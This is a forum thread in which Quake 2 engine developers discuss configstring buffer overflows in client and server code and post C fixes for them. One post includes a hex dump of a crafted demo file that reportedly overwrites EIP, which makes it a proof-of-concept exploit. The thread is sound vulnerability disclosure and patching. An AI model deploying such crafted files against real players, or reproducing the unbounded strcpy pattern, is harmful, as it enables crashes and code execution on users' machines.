Some more suggested fixes

[[SkulleR]]

There are some issues related to ugly configstring handling in q2.

The first problem is that default configstring length is MAX_QPATH chars, but some mods generate CS_STATUSBARs that may exceed this limit a lot. Since server stores them as two-dimensional array of strings, CS_STATUSBAR overwrites following slots. Since there is some space left before next configstring index, CS_AIRACCEL, this doesn't produce any visible errors. However this generates a lot of traffic overhead during client connection: the following code will resend multiple fragments of CS_STATUSBAR!

Code:

start = atoi(Cmd_Argv(2));
while ( sv_client->netchan.message.cursize < 1200
&& start < MAX_CONFIGSTRINGS)
{
if (sv.configstrings[start][0])
{
if (sv_client->netchan.message.cursize && strlen(sv.configstrings[start]) + sv_client->netchan.message.cursize > 1200)
break;
MSG_BeginWriteByte (&sv_client->netchan.message, svc_configstring);
MSG_WriteShort (&sv_client->netchan.message, start);
MSG_WriteString (&sv_client->netchan.message, sv.configstrings[start]);
}
start++;
}

The possible solutuon may be changing static sv.configstrings array into the list of dynamically allocated strings. Similar problem exsists on client side. More, client may also overwrite memory after cl.configstrings due to this issue.

The second problem is the potentional buffer overflow inside CL_LoadClientinfo that may be exploited by playing malicious demos, etc.

Code:

void CL_LoadClientinfo (clientinfo_t *ci, char *s)
{
...
char model_name[MAX_QPATH];
...

strncpy(ci->cinfo, s, sizeof(ci->cinfo));
ci->cinfo[sizeof(ci->cinfo)-1] = 0;

...

// isolate the model name
strcpy (model_name, s);

The possible quick fix is:

Code:

strncpy(ci->cinfo, s, sizeof(ci->cinfo));
ci->cinfo[sizeof(ci->cinfo)-1] = 0;

s = ci->info;

[/quote]

[[SkulleR]]

Just found the same problem as above inside S_RegisterSexedSound:

Code:

struct sfx_s *S_RegisterSexedSound (char *base, int entnum)
{
...
char model[MAX_QPATH];
...

// determine what model the client is using
model[0] = 0;

n = CS_PLAYERSKINS + entnum - 1;
if (cl.configstrings[n][0])
{
p = strchr(cl.configstrings[n], '\\');
if (p)
{
p += 1;
strcpy(model, p);

[R1CH]

This "overflow" is actually by design it seems, an array overflow for CS_STATUSBAR. Note that there is a lot of free configstring space between it and the next slots.

I agree that the client handling of configstrings however is pretty bad, with a malicious demo or server it's quite possible to cause a crash. With my incomplete testing though I don't think it's exploitable.

I can't believe I missed this though. I spent a good few hours auditing the various client parsing functions one day and looked all over configstrings without spotting the blatantly insecure strcpy. Thanks for letting me know .

[R1CH]

A quick fix for the client is to only allow the CS_STATUSBAR configstring to overflow:

Code:

//r1ch: only allow statusbar to overflow
if (i >= CS_STATUSBAR && i < CS_AIRACCEL)
strncpy (cl.configstrings[i], s, (sizeof(cl.configstrings[i]) * (CS_AIRACCEL - i))-1);
else
strncpy (cl.configstrings[i], s, sizeof(cl.configstrings[i])-1);

[R1CH]

And fix for the server, split them into MAX_QPATH chunks. They reassemble correctly on the client as the \0 gets strcpyed over:

Code:

start = atoi(Cmd_Argv(2));
while ( sv_client->netchan.message.cursize < 1200
&& start < MAX_CONFIGSTRINGS)
{
if (sv.configstrings[start][0])
{
if (sv_client->netchan.message.cursize && strlen(sv.configstrings[start]) + sv_client->netchan.message.cursize > 1200)
break;
MSG_BeginWriteByte (&sv_client->netchan.message, svc_configstring);
MSG_WriteShort (&sv_client->netchan.message, start);

len = strlen(sv.configstrings[start]);

//MSG_WriteString (&sv_client->netchan.message, sv.configstrings[start]);
SZ_Write (&sv_client->netchan.message, sv.configstrings[start], len > MAX_QPATH ? MAX_QPATH : len);
SZ_Write (&sv_client->netchan.message, "\0", 1);
}
start++;
}

[Anonymous]

With my incomplete testing though I don't think it's exploitable.

It is, tested with latest r1q2. Try saving the following dump as dm2 file and playing it. This will set EIP to 0xABADCAFE.

Code:

//  Source File: exploit.dm2
//         Time: 22.11.2004 23:54
// Orig. Offset: 0 / 0x00000000
//       Length: 620 / 0x0000026C (bytes)
unsigned char rawData[620] =
{
    0x01, 0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00, 0x00, 0x06, 0x01,
    0x00, 0x00, 0x00, 0x06, 0x01, 0x00, 0x00, 0x00, 0x06, 0x4B, 0x02, 0x00, 0x00, 0x0C, 0x22, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x54, 0x68, 0x65, 0x20, 0x45, 0x64,
    0x67, 0x65, 0x00, 0x0D, 0x1F, 0x00, 0x38, 0x30, 0x37, 0x31, 0x37, 0x37, 0x31, 0x34, 0x00, 0x0D,
    0x21, 0x00, 0x6D, 0x61, 0x70, 0x73, 0x2F, 0x71, 0x32, 0x64, 0x6D, 0x31, 0x2E, 0x62, 0x73, 0x70,
    0x00, 0x0D, 0x20, 0x05, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD, 0xAB, 0xFE, 0xCA, 0xAD,
    0xAB, 0xFE, 0xCA, 0xAD, 0x00, 0x0B, 0x73, 0x6B, 0x69, 0x6E, 0x73, 0x0A, 0x00, 0x0B, 0x70, 0x72,
    0x65, 0x63, 0x61, 0x63, 0x68, 0x65, 0x0A, 0x00, 0xFF, 0xFF, 0xFF, 0xFF,
} ;

[[SkulleR]]

That was me below

Yeah, those fixes will also do the job well, however writing CS_LAYOUT as a single big configstring looks less hackish for me